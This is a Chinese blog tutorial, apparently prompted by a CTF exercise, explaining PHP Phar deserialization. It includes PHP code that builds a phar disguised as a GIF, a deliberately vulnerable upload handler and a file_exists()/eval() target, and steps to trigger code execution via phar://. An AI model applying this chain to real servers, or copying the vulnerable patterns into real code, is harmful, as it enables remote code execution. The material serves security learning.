关于PHP中的Phar反序列化漏洞

前言

在AD工作室的线上CTF的平台刚开放的时候,放出两道测试题,其中有一道题当时涉及了php的phar反序列化漏洞,当时没有认真研究只顾着拿到flag,现在来认真总结一下

Phar是什么

基本概念

phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档。当PHP 版本>=5.3时默认开启支持PHAR文件的。

phar文件默认状态是只读,使用phar文件不需要任何的配置。

而phar://伪协议即PHP归档,用来解析phar文件内容。

phar文件结构

1、stub

一个供phar扩展用于识别的标志,格式为

xxx<?php xxx; __HALT_COMPILER();?>

前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2、manifest

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

3、contents

被压缩文件的内容。

4、signature

签名,放在文件末尾

Demo

在了解了phar的文件结构后可以开始试着自己构建一个phar文件,PHP中内置了一个类来处理相关操作

注意:在构建phar文件前要保证php.ini文件中的phar.readonly选项为Off,并且要把前面的分号去掉,否则无法生成phar文件

构建test.php

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='lok';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问test.php,会在当前目录生成phar.phar文件

把此文件拖进winhex中查看(mac中没有winhex,用类似软件代替)

可以明显看到meta-data是用序列化的形式来存储的
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

构建利用phar反序列化漏洞的代码
use.php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

访问use.php,可以看到输出了meta-data的内容

将Phar伪装成其他格式的文件

前面在介绍phar文件结构的时候提到,php识别phar文件是依靠phar文件头中的stub文件,更直接的说是依靠其中的

__HALT_COMPILER();?>

这段代码,而对前面的内容或后缀名是没有要求的,那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

利用条件

1.phar文件能被上传到服务器端

如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

2.要有可用的魔术方法作为“跳板”

3.文件操作函数的参数可控,且:,/,phar等关键特殊字符没有被过滤

漏洞验证

环境准备

upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

upload_file.html 文件上传表单

file_un.php 存在file_exists(),并且存在__destruct()

文件内容

upload_file.php

<?php
$tmp_file_location='/opt/lampp/htdocs/';
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists($tmp_file_location."upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      $tmp_file_location."upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " .$tmp_file_location. "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>

upload_file.html

<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    phar反序列化
</head>
<body>
<form action="http://localhost:8080/phar/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);
?>

实现过程

根据file_un.php可以构造出一个生成phar文件的php文件,因为需要绕过gif验证,所以phar的文件头需要加上GIF89a,我们在访问这个文件后,会在当前目录生成phar.phar文件,修改其后缀为gif,上传至服务器,然后利用file_un.php中的file_exists()函数,用phar://执行代码

生成phar文件的代码
eval.php

<?php
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

访问eval.php文件,将生成的phar文件后缀改为gif

用winhex打开查看,确实有序列化字符串,当用phar://伪协议读取时,便会自动反序列化,引起phar://反序列化

访问upload_file.html,上传文件

接着上传文件,可以看到文件被存储到了upload_file文件夹下

用phar://执行代码即可触发反序列化漏洞

参考文章

https://blog.csdn.net/SKI_12/article/details/85551194

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据